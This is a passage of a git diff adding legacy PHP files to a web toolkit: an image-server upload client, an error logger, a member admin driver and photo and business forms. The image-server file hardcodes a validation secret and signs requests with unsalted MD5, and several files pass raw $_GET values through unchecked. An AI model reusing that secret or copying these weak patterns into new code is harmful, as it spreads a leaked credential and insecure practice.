+        *       {label}
+        *     </td>
+        *   </tr>
+        * </code>
+        *
+        * # Group.tpl
+        * <code>
+        *   <table class="group">
+        *     <tbody>
+        *       {content}
+        *     </tbody>
+        *   </table>
+        * </code>
+        *
+        * # Header.tpl
+        * <code>
+        * <tr class="hdr">
+        *   <td colspan="2">
+        *     {header}
+        *   </td>
+        * </tr>
+        * </code>
+        *
+        * # RequiredNote.tpl
+        * <code>
+        *   <span class="req">*</span> Denotes required field
+        * </code>
+     *
+     * @param array $groups any groups that need to be rendered
+     *                      via the groupElementTemplate and groupTemplate
+        *
+     * @return void
+     * @access protected
+     */
+       protected function setupRenderers(array $groups = array())
+       {
+               if (is_dir($this->template)) {
+                       if ($dh = opendir($this->template)) {
+                               while (($file = readdir($dh)) !== false) {
+                                       //      Ignore current dir and parent dir.
+                                       if ($file != '..' && $file != '.' && $file != 'CVS') {
+                                               $baseName = reset(explode('.', $file));
+                                               //      Ignores swp files.
+                                               if (!empty($baseName)) {
+                                                       $method   = "set{$baseName}Template";
+                                                       $template = file_get_contents($this->template . $file);
+                                                       $renderer =& $this->defaultRenderer();
+                                                       if (   $method != 'setGroupTemplate'
+                                && $method != 'setGroupElementTemplate'
+                            ) {
+                                                               if (method_exists($renderer, $method)) {
+                                                                       $renderer->$method($template);
+                                                               }
+                                                       } else {
+                                                               //      apply the templates to any defined groups
+                                                               foreach ($groups as $k) {
+                                                                       $renderer->$method($template, $k);
+                                                               }
+                                                       }
+                                               }
+                                       }
+                               }
+                               closedir($dh);
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{     setUseCaptcha()
+
+    /**
+     * Set if we need to use a captcha in this form or not
+     *
+     * @param boolean $useCaptcha true/false to use a captcha with the form
+     *
+     * @return void
+     * @access public
+     */
+       public function useCaptcha($useCaptcha)
+       {
+        $this->useCaptcha = $useCaptcha;
+       }
+
+       //      }}}
+       //      {{{     show()
+
+    /**
+     * Shows the form
+     *
+        * @return void
+     * @access public
+     */
+       public function show()
+       {
+               Toolkit_Common::show();
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Image/Server.php b/Toolkit/Image/Server.php
new file mode 100755 (executable)
index 0000000..fc562ff
--- /dev/null
@@ -0,0 +1,369 @@
+<?php
+
+/**
+ * Server.php
+ * 
+ * PHP version 5
+ * 
+ * @category  Images
+ * @package   Toolkit_Image
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2008 Steve Sutton
+ * @license   Gaslight Media
+ * @version   CVS: $Id: Server.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Description for define
+ */
+define('IS_VALIDATE_SECRET', 'Glm0IS1secreT');
+
+/**
+ * Description for define
+ */
+define('IS_SUBMIT_URL', 'is0.gaslightmedia.com/submit.phtml');
+
+/**
+ * Toolkit_Image_Server
+ * 
+ * Class for implementation of the image server process Chuck has 
+ * setup for is0.gaslightmedia.com
+ * Uses Curl PHP Library to upload images to the server
+ * 
+ * @category  Images
+ * @package   Toolkit_Image
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2008 Steve Sutton
+ * @license   Gaslight Media
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Image_Server
+{
+    // {{{ properties
+
+    /**
+     * OwnerID for the Image Server User
+     * @var    string   
+     * @access protected
+     */
+    protected $OwnerID;
+
+    /**
+     * Owner Password 
+     * @var    string   
+     * @access protected
+     */
+    protected $OwnerPW;
+
+    /**
+     * DOMDocument Object
+     * @var    unknown  
+     * @access protected
+     */
+    protected $xml;
+    
+    // }}}
+
+    //  {{{ __construct()
+
+    /**
+     * __construct
+     * 
+     * @return void  
+     * @access public
+     */
+    function __construct()
+    {
+        $this->OwnerID = IS_OWNER_ID;
+        $this->OwnerPW = IS_OWNER_PW;
+    }
+    
+    // }}}
+
+    //  {{{ buildImageServerXML()
+
+    /**
+     * buildImageServerXML
+     * 
+     * Create the xml for the FileServerRequest
+     * 
+     * @param string  $fileName File to upload or delete
+     * @param unknown $type     Upload or Delete
+     * 
+     * @return string xml content
+     * @access public 
+     */
+    function buildImageServerXML($fileName, $type)
+    {
+        $xml               = new DOMDocument('1.0');
+        $xml->formatOutput = true;
+        $FileServerRequest = $xml->createElement('FileServerRequest');
+        $FileServerRequest->setAttribute('version', '1.0');
+        // AccessRequest part
+        $AccessRequest = $xml->createElement('AccessRequest');
+        $Owner         = $xml->createElement('Owner');
+        $OwnerID       = $xml->createElement('OwnerID', $this->OwnerID);
+        $OwnerPW       = $xml->createElement('OwnerPW', $this->OwnerPW);
+        $Owner->appendChild($OwnerID);
+        $Owner->appendChild($OwnerPW);
+        $AccessRequest->appendChild($Owner);
+        $FileServerRequest->appendChild($AccessRequest);
+        // file part
+        $File = $xml->createElement('File');
+        switch ($type) {
+        case "Upload":
+            $FileAction     = $xml->createElement('FileAction', 'Submit');
+            $DeliveryMethod = $xml->createElement('DeliveryMethod', 'Submit');
+            $FieldName      = $xml->createElement('FieldName', 'file_upload');
+            $File->appendChild($FileAction);
+            $File->appendChild($DeliveryMethod);
+            $File->appendChild($FieldName);
+            $FileServerRequest->appendChild($File);
+            $size     = filesize($_FILES[$fileName]['tmp_name']);
+            $validStr = md5($this->OwnerID.$this->OwnerPW.IS_VALIDATE_SECRET);
+            break;
+        case "URL":
+            $FileAction     = $xml->createElement('FileAction', 'Submit');
+            $DeliveryMethod = $xml->createElement('DeliveryMethod', 'URL');
+            $Src            = $xml->createElement('Src', $fileName);
+            $File->appendChild($FileAction);
+            $File->appendChild($DeliveryMethod);
+            $File->appendChild($Src);
+            $FileServerRequest->appendChild($File);
+            $size     = strlen($fileName);
+            $validStr = md5($this->OwnerID.$this->OwnerPW.IS_VALIDATE_SECRET);
+            break;
+        case "Delete":
+            $FileAction = $xml->createElement('FileAction', 'Delete');
+            $File->appendChild($FileAction);
+            $FileName = $xml->createElement('FileName', $fileName);
+            $File->appendChild($FileName);
+            $FileServerRequest->appendChild($File);
+            $validStr = md5($this->OwnerID.$this->OwnerPW.IS_VALIDATE_SECRET);
+            break;
+        }
+        // validation part
+        $Validation = $xml->createElement('Validation', $validStr);
+        $FileServerRequest->appendChild($Validation);
+        $xml->appendChild($FileServerRequest);
+        return $xml->saveXML($xml);
+    }
+    
+    // }}}
+
+    //  {{{ imageDelete()
+
+    /**
+     * imageDelete
+     * 
+     * Delete an image from the image server
+     * 
+     * @param unknown $name Image name
+     * 
+     * @return unknown image name
+     * @access public 
+     */
+    function imageDelete($name)
+    {
+        if ($name) {
+            $request     = $this->buildImageServerXML($name, 'Delete');
+            $ch          = curl_init();
+            $fileData    = array(
+                'request' => $request
+                );
+            $curlOptions = array(
+                    CURLOPT_URL            => IS_SUBMIT_URL,
+                    CURLOPT_HEADER         => 0,
+                    CURLOPT_RETURNTRANSFER => 1,
+                    CURLOPT_POSTFIELDS     => $fileData
+                    );
+            curl_setopt_array($ch, $curlOptions);
+
+            $response = curl_exec($ch);
+            curl_close($ch);
+            $xmlDoc   = new DOMDocument;
+            $response = str_replace("<?xml version=\"1.0\"?>", "", $response);
+            $xmlDoc->loadXML($response);
+            $SuccessCode = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/ReplyStatus/SuccessCode'
+            );
+            $Message     = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/ReplyStatus/Message'
+            );
+            $Owner       = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/File/Owner'
+            );
+            $StoredName  = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/File/StoredName'
+            );
+            $StoredSize  = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/File/StoredSize'
+            );
+            $MediaType   = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/File/MediaType'
+            );
+            return $Message;
+        }
+    }
+    
+    //  }}}
+    //  {{{ imageUpload()
+
+    /**
+     * imageUpload
+     * 
+     * Upload image to server
+     * 
+     * @param string $name Form field name of image
+     * 
+     * @return string Image name
+     * @access public 
+     */
+    function imageUpload($name)
+    {
+        $fileType = null;
+        if (preg_match("/^http/", $name)) {
+            $fileType = 'URL';
+        } elseif (is_array($_FILES[$name])) {
+            $fileType = 'Upload';
+        }
+        if ($fileType) {
+            $request = $this->buildImageServerXML($name, $fileType);
+            $ch      = curl_init();
+            if ($fileType == "URL") {
+                $fileData = array(
+                    'request' => $request
+                    );
+            } else {
+                $fileData = array(
+                    'request'          => $request,
+                    'file_upload'      => '@'.$_FILES[$name]['tmp_name'],
+                    'file_upload_name' => $_FILES[$name]['name']
+                    );
+            }
+            $curlOptions = array(
+                    CURLOPT_URL            => IS_SUBMIT_URL,
+                    CURLOPT_HEADER         => 0,
+                    CURLOPT_RETURNTRANSFER => 1,
+                    CURLOPT_POSTFIELDS     => $fileData
+                    );
+            curl_setopt_array($ch, $curlOptions);
+
+            $response = curl_exec($ch);
+            curl_close($ch);
+            $xmlDoc   = new DOMDocument;
+            $response = str_replace("<?xml version=\"1.0\"?>", "", $response);
+            $xmlDoc->loadXML($response);
+            $SuccessCode = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/ReplyStatus/SuccessCode'
+            );
+            $Message     = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/ReplyStatus/Message'
+            );
+            $Owner       = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/File/Owner'
+            );
+            $StoredName  = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/File/StoredName'
+            );
+            $StoredSize  = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/File/StoredSize'
+            );
+            $MediaType   = $this->xmlPathContent(
+                $xmlDoc, 
+                '/FileServerResponse/File/MediaType'
+            );
+            if ($SuccessCode != 0) {
+                echo '<pre>'.print_r($response, true).'</pre>';
+                return false;
+                exit;
+            }
+            return $StoredName;
+        }
+    }
+    
+    // }}}
+
+    //  {{{ getImageSize()
+
+    /**
+     * getImageSize
+     * 
+     * Return image data on an image from image server
+     * 
+     * @param string $image Full URI to image
+     *                      http://is0/userId/imageStyle/imageName
+     *                      Must be a full URI including an authority.
+     *                      No relative URIs, the // are mandatory
+     * 
+     * @return array Image data 0 => width, 1 => height, 2 => html
+     * @access public 
+     * @throws PEAR Error
+     */
+    function getImageSize($image)
+    {
+        $options = array('allowed_schemes' => array('http'));
+        if (!Validate::uri($image, $options)) {
+            return PEAR::raiseError('Invalid URI for the image');
+        }
+
+        $ch          = curl_init();
+        $curlOptions = array(
+            CURLOPT_URL            => "{$image}/info",
+            CURLOPT_HEADER         => 0,
+            CURLOPT_RETURNTRANSFER => 1,
+            CURLOPT_POSTFIELDS     => $fileData
+        );
+        curl_setopt_array($ch, $curlOptions);
+
+        $response = curl_exec($ch);
+        curl_close($ch);
+        $wPattern = "/<width>(.*)<\/width>/";
+        preg_match($wPattern, $response, $matches);
+        $width    = $matches[1];
+        $hPattern = "/<height>(.*)<\/height>/";
+        preg_match($hPattern, $response, $matches);
+        $height = $matches[1];
+        $html   = "width=\"{$width}\" height=\"{$height}\"";
+        return array($width, $height, $html);
+    }
+
+    //  }}}
+
+    // {{{  xmlPathContent()
+
+    /**
+     * xmlPathContent
+     * 
+     * Grab the content given XPath Query
+     * 
+     * @param unknown $dom     DOMDocument nodelist
+     * @param unknown $content query for XPath
+     * 
+     * @return object string of node
+     * @access public 
+     */
+    function xmlPathContent($dom, $content)
+    {
+        $xPath    = new DOMXPath($dom);
+        $nodelist = $xPath->query($content);
+        foreach ($nodelist as $entry) {
+            return $entry->nodeValue;
+        }
+    }
+    
+    // }}}
+}
+?>
diff --git a/Toolkit/Logger.php b/Toolkit/Logger.php
new file mode 100644 (file)
index 0000000..a5835c4
--- /dev/null
@@ -0,0 +1,168 @@
+<?php
+
+/**
+ * Error handling logger for system
+ *
+ * PHP version 5
+ *
+ * @category  Logger
+ * @package   Toolkit_Logger
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2010 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   CVS: $Id: Logger.php,v 1.1 2012/02/03 19:04:26 matrix Exp $
+ * @link      <>
+ * @see       Log
+ */
+
+/**
+ * Logging class used to handle system logs
+ */
+require_once 'Log.php';
+
+/**
+ * Error handling logger for system
+ *
+ * @category  Logger
+ * @package   Toolkit_Logger
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2010 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      <>
+ * @see       Log
+ */
+class Toolkit_Logger
+{
+       //  {{{ &getLogger()
+
+    /**
+     * Gets a concrete log subclass based on constant parameters set for server
+     *
+     * Define parameters in server setup block of bootstrap file
+     *
+     * @return Log concrete Log subclass
+     * @access public
+     * @static
+     */
+       public static function &getLogger()
+       {
+               if (defined('ERROR_LOG_NAME') && constant('ERROR_LOG_NAME') != '') {
+                       $errorLogName = constant('ERROR_LOG_NAME');
+               } else {
+                       $errorLogName = '';
+               }
+
+               $logger =& Log::singleton(
+                       ERROR_LOG_TYPE,
+                       $errorLogName,
+                       constant('ERROR_LOG_IDENT'),
+                       $GLOBALS['ERROR_LOG_CONF'],
+                       constant('ERROR_LOG_LEVEL')
+               );
+
+               return $logger;
+       }
+
+       //  }}}
+       //  {{{ errorHandler()
+
+    /**
+     * User-defined error handler function
+     *
+     * handles errors in script.  E_ERROR, E_WARNING, E_NOTICE are automatically
+        * logged when they occur.  Fatal errors (E_ERROR) have a 404 page shown to
+        * user so script doesn't halt.
+     *
+     * @param int    $errno   Level of the error rasied
+     * @param string $errstr  Error message
+     * @param string $errfile Filename that the error was raised in
+     * @param int    $errline Line number the error was raised at
+     * @param Log    $logger  Logger to user for error loggin
+        *
+     * @return boolean false, allows the normal error handler to continue
+     * @access public
+     * @static
+     */
+       public static function errorHandler(
+               $errno,
+               $errstr,
+               $errfile,
+               $errline,
+               $logger = null
+       ) {
+               if (!($logger instanceof Log)) {
+                       $logger =& self::getLogger();
+               }
+
+               $msg = "$errstr in $errfile at line $errline";
+               switch ($errno) {
+               case E_ERROR :
+               case E_USER_ERROR :
+                       $logger->emerg($msg, PEAR_LOG_EMERG);
+                       header("HTTP/1.0 404 Not Found");
+                       exit(1);
+                       break;
+
+               case E_WARNING :
+               CASE E_USER_WARNING :
+                       $logger->warning($msg, PEAR_LOG_WARNING);
+                       break;
+
+               case E_NOTICE :
+               case E_USER_NOTICE :
+                       $logger->notice($msg, PEAR_LOG_NOTICE);
+                       break;
+
+               default :
+                       $logger->info($msg, PEAR_LOG_INFO);
+                       break;
+               }
+
+               return false; // let the normal error handler continue
+       }
+
+       //  }}}
+       //  {{{ logException()
+
+       /**
+        * Create a log for an exception
+        *
+        * @param string    $type Type of error encountered that caused exception
+        * @param Exception $e    Exception that was thrown
+        *
+        * @return void
+        * @static
+        */
+       public static function logException($type, Exception $e)
+       {
+               $msg  = $e->getMessage();
+               $file = $e->getFile();
+               $line = $e->getLine();
+
+               $lcType = strtolower($type); // uniformity in type when looking at log
+               $log = "[$lcType] $msg in $file at line $line";
+
+               $logger =& self::getLogger();
+
+               switch ($lcType) {
+               case 'db error' :
+               case 'invalid arg' :
+               case 'runtime error' :
+                       $logger->emerg($log);
+                       break;
+
+               case 'image server' :
+               case 'file server' :
+                       $logger->warning($log);
+                       break;
+
+               default :
+                       $logger->err($log);
+                       break;
+               }
+       }
+
+       //  }}}
+}
+?>
diff --git a/Toolkit/Members.php b/Toolkit/Members.php
new file mode 100644 (file)
index 0000000..5ef8da4
--- /dev/null
@@ -0,0 +1,281 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Driver for admin side processing of member data
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: Members.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @link     http://demo.gaslightmedia.com
+ */
+
+/**
+ * Base class for the memberdb
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members
+{
+       //      {{{     __construct()
+
+       /**
+        * Constructor
+        *
+        * @access      public
+        */
+       public function __construct()
+       {
+        HTTP_Session2::useCookies(false);
+        HTTP_Session2::start('MemberDB');
+        if (HTTP_Session2::get('newSearch')) {
+            HTTP_Session2::set('newSearch', false);
+            HTTP_Session2::set('searchResults', $_SERVER['HTTP_REFERER']);
+        }
+       }
+
+       //      }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Determine which form to show to the user
+        *
+        * When editing a member the (a)ction in the URL controls
+        * which form is displayed to the user. Member Id's from
+        * the database should be passed along as the ID in the $_GET array.
+        *
+        * @return void
+        * @access public
+        */
+       public function toHtml()
+       {
+               $pdo = Toolkit_Database::getInstance();
+        //  application configuration
+        $conf = new Config;
+        $root =& $conf->parseConfig(BASE . 'Toolkit/Members/members.ini', 'IniFile');
+
+               $nav =& new Toolkit_Members_RecordNavigation($root);
+               $nav->setupAdminNavStructure();
+
+        $tplOpts =  Toolkit_Members::getFlexyOptions();
+        $tEngine = new HTML_Template_Flexy($tplOpts);
+
+               switch ($_GET['tab']) {
+               case 6 :
+                       $mc =& new Toolkit_Members_EditMemberContacts(
+                               Toolkit_Database::getInstance(),
+                'edit_contacts',
+                'post',
+                null,
+                null,
+                null,
+                true
+                       );
+            if ($_GET['d'] == 't' && is_numeric($_GET['cid'])) {
+                $mc->removeContact($_GET['cid'], $_GET['id']);
+            }
+            $mc->setConfig($root);
+            $mc->configureForm();
+                       $out = $mc->toHtml();
+                       break;
+
+               case 5 :
+                       $mf =& new Toolkit_Members_EditMemberFile(
+                               $pdo,
+                'edit_files'
+                       );
+            $mf->setConfig($root);
+            $mf->configureForm();
+                       $out = $mf->toHtml();
+                       break;
+
+               case 4 :
+                       $ma =& new Toolkit_Members_EditMemberAmenities(
+                               $pdo,
+                'edit_amenities',
+                'post',
+                null,
+                null,
+                null,
+                true
+                       );
+            $ma->setConfig($root);
+            $ma->configureForm();
+                       $out = $ma->toHtml();
+                       break;
+
+               case 3 :
+            $mp = new Toolkit_Members_Admin_EditPackages(
+                               $pdo,
+                $tEngine
+                       );
+            $mp->setupPage();
+            $out = $mp->getPage($nav);
+                       break;
+
+               case 2 :
+            //  Object to use when rendering the page template
+            $page = new stdClass();
+            //  Page navigation
+            $page->nav = $nav->getPageNav();
+
+            //  Linked List of member photos
+            $linkedList = new Toolkit_Members_Photos(null, $_GET['id']);
+            $linkedList->createMemberList(
+                               $pdo,
+                               $root
+                       );
+            //  Member Object to get calculate attributes about a member
+            $member = new Toolkit_Members_Member(
+                               $pdo,
+                               $root
+                       );
+            //  Server side caching
+            $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+            //  Image server for processing uploaded images
+            $is = new Toolkit_Image_Server();
+
+            if ($member->canAddPhotos($linkedList, $root)) {
+                $aForm = new Toolkit_Members_Admin_AddPhoto(
+                                       $pdo,
+                    'new_member_photo',
+                    'post',
+                    BASE_URL . "admin/members.php?cat=2&subCat=2&tab=2&id={$_GET['id']}",
+                    '',
+                    null,
+                    true
+                               );
+                $aForm->configureForm($root);
+                $page->uploadForm = $aForm->toHtml(
+                    $tEngine,
+                    $cache,
+                    $root,
+                    $is,
+                    $linkedList
+                );
+            }
+
+            if ($member->hasUploadedPhotos($linkedList)) {
+                $editForms = array();
+                $linkedList->rewind();
+
+                foreach ($linkedList as $i) {
+                    if (!$i->getPending()) {
+                        $id = $i->getId();
+                        $eForm = new Toolkit_Members_Admin_EditPhoto(
+                                                       $pdo,
+                            $linkedList,
+                            "edit_member_photo_$id",
+                            'post',
+                            BASE_URL . "admin/members.php?cat=2&subCat=2&tab=2&id={$_GET['id']}",
+                            '',
+                            array('id' => $id),
+                            true
+                                               );
+                        $eForm->configureForm($root);
+                        $page->editForms[$id] = $eForm->toHtml(
+                            $tEngine,
+                            $cache,
+                            $is,
+                            $root
+                        );
+                    }
+                }
+            }
+
+            //  get reference to [photos] section of config file
+            $config =& $root->getItem('section', 'photos');
+            $template =& $config->getItem('directive', 'editGalleryTemplate');
+
+            $tEngine->compile($template->getContent());
+            $out = $tEngine->bufferedOutputObject($page);
+                       break;
+
+               case 1 :
+               default :
+                       $mr =& new Toolkit_Members_EditMemberInfo(
+                               $pdo,
+                'edit_member',
+                'post',
+                null,
+                null,
+                null,
+                true
+                       );
+
+            $mr->setStates(
+                               Toolkit_Common::getStates($pdo)
+                       );
+            $mr->setConfig($root);
+            $mr->configureForm();
+                       $out = $mr->toHtml();
+                       break;
+               }
+
+               return $out;
+       }
+
+       //      }}}
+
+       //      {{{     getCacheOptions()
+
+       /**
+        * Get the cache options defined for the memberdb app
+        *
+        * @return array Cache_Lite options defined for the memberdb app
+        * @access public
+        * @static
+        */
+       public static function getCacheOptions()
+       {
+               $options             = $GLOBALS['cacheOptions'];
+               $options['cacheDir'] = BASE . 'Toolkit/Members/cache/';
+               return $options;
+       }
+
+       //      }}}
+       //      {{{     getFlexyOptions()
+
+       /**
+        * Get the flexy options defined for the memberdb app
+        *
+        * @return array Flexy template options defined for the memberdb app
+        * @access public
+        * @static
+        */
+       public static function getFlexyOptions()
+       {
+               $options                = $GLOBALS['flexyOptions'];
+               $options['templateDir'] = BASE . 'Toolkit/Members/templates/';
+               $options['compileDir']  = BASE . 'Toolkit/Members/templates/compiled/';
+               return $options;
+       }
+
+       //      }}}
+
+       //      {{{     show()
+
+    /**
+     * Show the page
+     *
+     * @return void
+     * @access public
+     */
+       public function show()
+       {
+               echo $this->toHtml();
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/AddPhoto.php b/Toolkit/Members/AddPhoto.php
new file mode 100644 (file)
index 0000000..0316124
--- /dev/null
@@ -0,0 +1,198 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Handles the photos tab in the member record
+ * 
+ * Controls setting up the add photo form if applicable, and rendering
+ * each uploaded photo edit form to edit/delete the photo.
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: AddPhoto.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit/Image/Server.php
+ */
+
+
+/**
+ * The image server processing class
+ */
+require_once BASE . 'Toolkit/Image/Server.php';
+
+/**
+ * Form to handle creating a new photo in the members only area
+ * 
+ * Handles inserting new photo into db as a pending photo and creating a
+ * tuple in the member_updates table which will allow the admin to
+ * approve/deny the new photo request.
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_AddPhoto extends Toolkit_Members_Admin_AddPhoto
+{
+       //      {{{ createPendingPhoto()
+
+       /**
+        * Adds photo to member and makes a pending row in the updates table
+        *
+        * Adds a photo to the member_photos table but sets the pending field
+        * to true and then inserts a row into the updates table to make the field
+        * pending.  If the photo gets rejected we will have to delete from both
+        * the updates table and the member_photos table.
+        *
+        * @param array &$values submitted values from the form.
+        *
+        * @return boolean Result of creating a pending photo
+        * @access protected
+        */
+       protected function createPendingPhoto(&$values)
+       {
+               try {
+                       //      Get the last photo inserted.
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE pending   = true
+                   AND member_id = :member_id
+                 ORDER BY id DESC";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(
+                ':member_id',
+                $GLOBALS['memberAuth']->getAuthData('member_id'),
+                PDO::PARAM_INT
+            );
+                       $stmt->execute();
+                       $photo = $stmt->fetch();
+
+                       //      Insert the picture into the updates table for approval.
+                       $label    = '<img class="thumb" alt="'.$values['image'].'"
+                                                       src="'.MEMBER_PHOTOS.$values['image'].'">';
+                       $update   = false;
+                       $dataType = 'boolean';
+                       $field    = 'pending';
+
+                       $sql =  "
+                               INSERT INTO " . Toolkit_Membersonly::PENDING_TABLE . "
+                               (member_id, field, update , db_table,
+                                data_type, label, foreign_key)
+                VALUES (:member_id, :field, :update, :db_table,
+                                               :data_type, :label, :foreign_key)";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(
+                ':member_id',
+                $GLOBALS['memberAuth']->getAuthData('member_id'),
+                PDO::PARAM_INT
+            );
+                       $stmt->bindParam(':field', $field, PDO::PARAM_STR);
+                       $stmt->bindParam(':update', $update, PDO::PARAM_BOOL);
+                       $stmt->bindParam(':db_table', $this->tableName, PDO::PARAM_STR);
+                       $stmt->bindParam(':data_type', $dataType, PDO::PARAM_STR);
+                       $stmt->bindParam(':label', $label, PDO::PARAM_STR);
+                       $stmt->bindParam(':foreign_key', $photo['id'], PDO::PARAM_STR);
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+        //     }}}
+       //      {{{ processData()
+
+       /**
+        * Handles setting up the from processing and which function to get it done
+        *
+        * @param array $values Submitted values from the form.
+        *
+        * @return void
+        * @access protected
+        */
+       protected function processData($values)
+       {
+               try {
+            $this->dbh->beginTransaction();
+            $sql = Toolkit_Common::createSQLInsert(
+                $this->tableName,
+                array_keys($values)
+            );
+
+            $res = Toolkit_Common::processQuery($this->dbh, $sql, $values);
+
+
+            if ($values['pending']) {
+                $this->createPendingPhoto($values);
+            }
+            $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+
+        header('Location:' . $this->getAttribute('action'));
+       }
+
+       //      }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+     *
+     * @param HTML_Template_Flexy    $tEngine Templating Engine
+     * @param Cache_Lite             $cache   Caching Engine
+     * @param Config_Container       $c       Application configuration
+     * @param Toolkit_Image_Server   $is      Image Server
+     * @param Toolkit_Members_Photos $ll      Linked List of member photos
+        *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml(
+        HTML_Template_Flexy $tEngine,
+        Cache_Lite $cache,
+        Config_Container $c,
+        Toolkit_Image_Server $is,
+        Toolkit_Members_Photos $ll
+    ) {
+               if ($this->validate()) {
+            $config = $c->getItem('section', 'conf');
+            $strictPending = $config->getItem('directive', 'strictPending');
+
+            $id = $GLOBALS['memberAuth']->getAuthData('member_id');
+            $cache->remove("Member-$id", 'Profile');
+
+            //  Inject some data into the submitted values
+            $this->_submitValues['image'] = $is->imageUpload('file');
+            $this->_submitValues['pos'] = $ll->getListSize() + 1;
+            $this->_submitValues['member_id'] = $id;
+            $this->_submitValues['pending'] = (int) $strictPending->getContent();
+
+            unset($this->_submitValues['MAX_FILE_SIZE'],
+                  $this->_submitValues['submit']);
+
+            $this->process(array(&$this, 'processData'), false);
+               }
+
+               $this->setupRenderers($tEngine);
+
+               return $tEngine->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/AddYourBusiness.php b/Toolkit/Members/AddYourBusiness.php
new file mode 100755 (executable)
index 0000000..543812b
--- /dev/null
@@ -0,0 +1,1246 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * AddYourBusiness.php
+ *
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: AddYourBusiness.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */ 
+
+require_once 'FormBuilder.php';
+
+/**
+ * Description for require_once
+ */
+require_once 'Members/CategoryTree.php';
+
+/**
+ * Creates, Renders, Processes form for request to be added to Business DB
+ * 
+ * This Form just sends the primary advisee an HTML email of the data
+ * that was filled in and requires them to add the users to the Business DB
+ * themselves.
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_AddYourBusiness
+    extends Toolkit_FormBuilder implements Toolkit_Form
+{
+       //      {{{ properties
+
+       /**
+        * PDO connections
+        *
+        * @var string
+        * @access public
+        */
+       public $dbh;
+
+    /**
+     * Allow duplicate member names to be valid or not
+     *
+     * @var boolean
+     * @access private
+     */
+    private $_preventDupNames;
+
+       /**
+        * The name of the DB table that holds the member records
+        *
+        * @var array
+        * @access protected
+        */
+       public $tableName = 'member';
+
+       /**
+        * What do you want the success msg to be if the form validates successfully
+        *
+        * @var         string
+        * @access      protected
+        */
+       protected $successMsg = '
